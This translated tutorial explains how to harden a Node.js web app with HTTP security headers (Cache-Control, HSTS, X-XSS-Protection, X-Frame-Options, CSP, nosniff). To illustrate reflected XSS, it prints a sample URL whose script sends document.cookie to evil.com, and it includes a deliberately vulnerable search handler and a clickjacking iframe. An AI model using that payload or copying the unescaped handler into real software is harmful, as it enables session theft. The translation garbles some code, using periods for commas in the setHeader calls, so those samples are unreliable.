• How To Secure Your Web App With HTTP Headers
  • Originally written by Hagay Lupesko
  • The Nuggets translation Project
  • Translator: bambooom
  • Proofreader: XunGE0613, LSVIh

How to protect your Web application using HTTP Headers

As we all know, Web applications are the targets of network attacks, no matter simple small Web pages or complex single-page applications. In 2016, this dominant pattern of attacks — targeting Web applications — was responsible for about 40 percent of data breaches. In fact, for now, understanding network security is not icing on the cake, but a must for Web developers, especially those building consumer-facing products.

Developers can leverage HTTP response headers to enhance the security of Web applications, often by adding just a few lines of code. This article shows web developers how to build secure applications using HTTP Headers. Although the sample code for this article is Node.js, virtually all major server-side languages support setting HTTP response headers and can easily configure them.

About the HTTP Headers

Technically, HTTP headers are simply fields, encoded in plaintext, that are part of HTTP request and response headers. They are designed to enable both clients and servers to send and receive metadata about the connection to be established, the resource requested, and the resource itself returned.

CURL cURL cURL cURL cURL cURL cURL cURL cURL cURL cURL cURL cURL cURL

$curl --head https://www.google.com HTTP/1.1 200 OK Date: Thu, 05 Jan 2017 08:20:29 GMT Expires: -1 cache-control: private, max-age=0 Content-Type: text/html; Charset =ISO-8859-1 Transfer-encoding: chunked Accept-ranges: None Vary: accept-encoding... charset=ISO-8859-1 Transfer-Encoding: chunked Accept-ranges: None Vary: accept-encoding...Copy the code

Today, hundreds of response headers are being used by Web applications, some of them standardized by the Internet Engineering Task Force (IETF). IETF is an open organization that promotes many of the web standards and patents we know today. The HTTP header provides a flexible and extensible mechanism that enables the rich variety of use cases on the web today.

Caching is disabled for confidential resources

Caching is an effective technique for optimizing the performance of client-server architectures, and HTTP is no exception, making extensive use of caching. However, caching can lead to vulnerabilities in cases where cached resources are confidential and must be avoided. Suppose a Web application caches pages containing sensitive information and is used on a public PC. Sensitive information on the Web application can be seen by anyone who accesses the browser’s cache, sometimes just by clicking the browser’s back button.

HTTP caching is defined in IETF RFC 7234, specifying the default behavior of HTTP clients (browsers and network proxies) : responses to HTTP GET requests are always cached unless otherwise specified. While this allows HTTP to improve performance and reduce network congestion, it also allows end-user personal information to be stolen, as mentioned above. The good news is that the HTTP specification also defines a very simple way to instruct clients not to cache a particular response by using — yes, you guessed it — HTTP response headers.

When you are ready to return sensitive information and want to disable HTTP client caching, there are three response headers that can be returned:

  • Cache-Control

This response header, introduced from HTTP 1.1, may contain one or more directives, each with specific caching semantics that instruct HTTP clients and proxies how to process responses annotated with this response header. I recommend specifying response headers like cache-control: no-cache, no-store, and must-revalidate. These three directives basically instruct the client and intermediate proxy not to use the previously cached response, not to store the response, and even if the response is cached, it must be revalidated from the source server.

  • Pragma: no-cache

For backward compatibility with HTTP 1.0, you also need to include this response header. Some clients, especially intermediate proxies, may still not fully support HTTP 1.1 and therefore cannot properly handle the aforementioned cache-control response headers, so using Pragma: no-cache ensures that older clients do not Cache your responses.

  • Expires: -1

This response header specifies a timestamp at which the response will expire. If you specify -1 instead of specifying a real time in the future, you guarantee that the client will immediately treat the response as expired and avoid caching.

It is important to note that while disabling caching improves security and protects confidential resources, it does have a performance penalty. So make sure that caching is only disabled for resources that actually need confidentiality, not for any response from the server. For a more in-depth understanding of best practices for Web resource caching, I recommend reading Jake Archibald’s article.

Here is sample code for setting the response header in Node.js:

function requestHandler(req, res) {
    res.setHeader('Cache-Control'.'no-cache,no-store,max-age=0,must-revalidate');
    res.setHeader('Pragma'.'no-cache');
    res.setHeader('Expires'.'1');
}Copy the code

Mandatory HTTPS

Today, the importance of HTTPS is widely recognized in the technology world. More and more Web applications are configuring secure endpoints and redirecting insecure networks to secure endpoints (i.e., HTTP to HTTPS). Unfortunately, end users do not fully understand the importance of HTTPS, and this lack of understanding exposes them to various man-in-the-middle attacks (MitM). The average user accessing a Web application does not notice whether the network protocol being used is secure (HTTPS) or insecure (HTTP). Even more, when a browser has a certificate error or warning, many users simply click to skip the warning.

When interacting with Web applications, it is important to have a valid HTTPS connection: an insecure connection exposes the user to a variety of attacks, which can lead to cookie theft or worse. For example, an attacker on a public Wi-Fi network could easily trick network frames and extract session cookies from users who do not use HTTPS. Worse, even users interacting with web applications over secure connections can be subject to degrade attacks, which attempt to force the connection down to an insecure one, exposing the user to a man-in-the middle attack.

How can we help users avoid these attacks and better promote HTTPS use? Use HTTP strict Transport Security Headers (HSTS). In simple terms, HSTS ensures that all communication with the source host is using HTTPS. As described in RFC 6797, HSTS enables a Web application to instruct the browser to allow ONLY HTTPS connections to the source host, internally redirect all insecure connections to secure connections, and automatically upgrade all insecure resource requests to secure ones.

HSTS instructions are as follows:

  • max-age=<number of seconds>

This item indicates the number of seconds specified by the browser to cache this response header for this domain. This can ensure the safety of long-term reinforcement.

  • includeSubDomains

This instructs the browser to apply HSTS to all subdomains of the current domain, which can be used for all current and possible future subdomains.

  • preload

This is a powerful directive that forces the browser to always safely load your Web application, even before the first response is received! This is done by hard-coding a list of HSTS preloaded domains into the browser’s code. To enable the preload feature, you need to register your domain by submitting the HSTS preload list on the site maintained by the Google Chrome team.

Use preload with caution, as this means it cannot be easily undone and can be months late for updates. While preloading certainly enhances the security of your application, it also means that you need to be fully confident that your application supports HTTPS only!

My suggested usage is strict-transport-security: max-age=31536000; includeSubDomains; , which instructs the browser to force an HTTPS connection to the source host and is valid for one year. If you are confident that your app only handles HTTPS, I also recommend adding the preload directive, and don’t forget to register your site with the preload list mentioned earlier.

Here is how to implement HSTS in Nodes.js:

function requestHandler(req, res){
    res.setHeader('Strict-Transport-Security'.'max-age=31536000; includeSubDomains; preload');
}Copy the code

Enable XSS filtering

In a reflected XSS attack, an attacker injects malicious JavaScript code into an HTTP request, which is “mapped” into the response and executed by the browser, allowing the malicious code to execute in a trusted context, Access potentially confidential information such as in session cookies. Unfortunately, XSS is a very common network application attack, and surprisingly effective!

To understand the reflective XSS attack, refer to the following Node.js code and render myWebApp.com to simulate a simple Web application that renders the search results along with the search terms requested by the user:

function handleRequest(req, res) {
    res.writeHead(200);

    // Get the search term
    const parsedUrl = require('url').parse(req.url);
    const searchTerm = decodeURI(parsedUrl.query);
    const resultSet = search(searchTerm);

    // Render the document
    res.end(
        "<html>" +
            "<body>" +
                "<p>You searched for: " + searchTerm + "</p>" +
                // Search results rendering goes here...
            "</body>" +
        "</html>");
};Copy the code

Now consider how the above Web application would handle malicious executable code embedded in the URL, for example:

https:/ / mywebapp.com/search? < / p > < script > window. The location = "http://evil.com?cookie=" + document. The cookies < / script >Copy the code

As you may be aware, this URL causes the browser to execute the injected script and send user cookies to evil.com that most likely contain confidential sessions.

To protect users against reflective XSS attacks, some browsers implement protection mechanisms. These protection mechanisms attempt to identify these attacks by looking for matching code patterns in HTTP requests and responses. Internet Explorer was the first to introduce this mechanism, introducing XSS filters in Internet Explorer 8 in 2008, while WebKit later introduced XSS auditing, It’s currently available on Chrome and Safari (Firefox doesn’t have a similar mechanism built into it, but users can use a plug-in to get it). These protection mechanisms are not perfect, they may not detect true XSS attacks (missed detection), and in other cases may block legitimate code (misjudged). Because of the latter, browsers allow users to disable XSS filtering. Unfortunately, this is usually a global setting that completely turns off the security features of all browser-loaded Web applications.

Fortunately, there is a way to have a Web application override this configuration and ensure that the browser loads the Web application with the XSS filter turned on. This is achieved by setting the X-XSS-protection response header. This response header supports Internet Explorer (IE8 and above), Edge, Chrome, and Safari, and instructs the browser to turn on or off built-in protection mechanisms and override the browser’s local configuration.

X-xss-protection commands include:

  • 1or0

Use or disable XSS filters.

  • mode=block

When an XSS attack is detected, this instructs the browser not to render the entire page.

I recommend always turning on XSS filters and block mode to maximize user protection. The response header should look like this:

X-XSS-Protection: 1; mode=blockCopy the code

Here’s how to configure this response header in Node.js:

function requestHandler(req, res){
    res.setHeader('X-XSS-Protection'.'1; mode=block'); }Copy the code

Control the iframe

An IFrame (formally, an HTML inline frame element) is a DOM element that allows one Web application to be nested within another web application. This powerful element has some important usage scenarios, such as embedding third-party content in Web applications, but it also has significant disadvantages, such as not being SEO friendly, not being browser navigational jump friendly, and so on.

One thing to note is that it makes clickhijacking much easier. Clickjacking is an attack designed to trick users into clicking on something other than what they want to click on. To understand a simple hijacking implementation, refer to the HTML below, where users are actually trying to trick them into buying a toaster when they think they can click to get a prize.

<html>
  <body>
    <button class='some-class'>Win a Prize!</button>
    <iframe class='some-class' style='opacity: 0; 'SRC ='http://buy.com?buy=toaster'></iframe>
  </body>
</html>Copy the code

There are many malicious applications that employ clickjacking, such as inducing users to like, buy goods online, or even submit confidential information. Malicious Web applications can exploit iframe clickjacking by embedding legitimate Web applications in their malicious applications, which can be hidden by setting opacity: 0 CSS rules and placing the target of iframe clicks directly on top of the innocent-looking button. Users who click the innocuous button click directly on the embedded Web application, unaware of the consequences.

An effective way to prevent this attack is to limit the framing of your Web application. X-frame-options, introduced in RFC 7034, is designed to do just that. This response header instructs the browser to place restrictions on whether your Web application can be embedded in another web page, preventing malicious web pages from tricking users into calling your application. You can use DENY to completely mask, or use allow-from to whitelist a specific domain, or use SAMEORIGIN to whitelist the source address of your application.

My recommendation is to use the SAMEORIGIN directive because it allows iframe to be used by applications in the same domain, which is sometimes useful. Here is an example of a response header:

X-Frame-Options: SAMEORIGINCopy the code

Here is sample code to set this response header in Node.js:

function requestHandler(req, res){
    res.setHeader('X-Frame-Options'.'SAMEORIGIN'); }Copy the code

Specify a whitelist resource

As mentioned earlier, you can enhance the security of your Web applications by enabling XSS filters in your browser. Note, however, that this mechanism is limited, not all browsers support it (Firefox does not support XSS filtering, for example), and the pattern-matching techniques that rely on it can be tricked.

Another layer of protection against XSS and other attacks can be achieved by explicitly listing trusted sources and actions — this is a Content Security policy (CSP).

CSP is a W3C specification that defines powerful browser-based security mechanisms for fine control of resource loading and script execution in Web applications. Using CSP, you can whitelist specific fields for script loading, AJAX calls, image loading, and style loading. You can enable or disable inline or dynamic scripting (the infamous EVAL) and control framing by whitelisting specific fields. Another cool feature of CSP is that it allows you to configure real-time reporting targets for real-time monitoring of applications for CSP blocking actions.

This explicit whitelist of resource loading and script execution provides strong security against attacks in many cases. For example, by disabling inline scripts with CSP, you can protect against many reflexive XSS attacks because they rely on injecting inline scripts into the DOM.

CSP is a relatively complex response header with a variety of directives that I won’t go into here, but there’s a great tutorial in HTML5 Rocks that gives you an overview of CSP, which I highly recommend reading to learn how to use CSP in your Web applications.

Here is a sample code to set up a CSP that only allows scripts to be loaded from the application’s source domain and blocks execution of dynamic scripts (eval) and embedded scripts (again, node.js, of course):

function requestHandler(req, res){
    res.setHeader('Content-Security-Policy'."script-src 'self'"); }Copy the code

Prevent Content-type sniffing

To make the user experience as seamless as possible, many browsers implement a feature called content-type sniffing, or MIME sniffing. This feature allows the browser to directly detect the resource Type by “sniffing” the Content of the actual HTTP response resource, ignoring the resource Type specified in the content-type header. While this feature can be useful in some cases, it introduces a vulnerability and an attack called a MIME type objection attack. The MIME sniffing vulnerability allows an attacker to inject a malicious resource, such as a malicious script, masquerading as a harmless resource, such as an image. With MIME sniffing, the browser ignores the declared image content type, and instead of rendering the image, it executes a malicious script.

Fortunately, the X-Content-Type-options response header mitigated this vulnerability. This response header, introduced in Internet Explorer 8 in 2008 and now supported by most major browsers (Safari is the only major browser that doesn’t), instructs browsers not to use sniffing when processing acquired resources. Because x-Content-type-options are only formally specified in the “Fetch” specification, the actual implementation varies from browser to browser. Some browsers (IE and Edge) block MIME sniffing entirely, while others (Firefox) still do MIME sniffing but block executable resources (JavaScript and CSS) if the declared content type is different from the actual type. The latter complies with the latest Fetch specification.

X-content-type-options is a simple response header that has only one instruction (nosniff). X-content-type-options: nosniff Here is the sample code:

function requestHandler(req, res){
    res.setHeader('X-Content-Type-Options'.'nosniff'); }Copy the code

conclusion

In this article, you learned how to use HTTP response headers to enhance the security of Web applications, prevent attacks, and mitigate vulnerabilities.

The main points of

  • useCache-ControlThe caching of confidential information is disabled
  • throughStrict-Transport-SecurityForce HTTPS and add your domain to the Chrome preload list
  • usingX-XSS-ProtectionMake your Web application more resistant to XSS attacks
  • useX-Frame-OptionsPreventing clickjacking
  • usingContent-Security-PolicyWhitelist specific sources and endpoints
  • useX-Content-Type-OptionsPrevents MIME sniffing attacks

Remember, for the Web to be truly fascinating, it must be secure. Build more secure web pages with HTTP response headers!

(Disclaimer: This article is my own and does not represent my past or present employer.)

(Copyright: Pexels.com)


The Nuggets Translation Project is a community that translates quality Internet technical articles from English sharing articles on nuggets. Android, iOS, React, front end, back end, product, design, etc. Keep an eye on the Nuggets Translation project for more quality translations.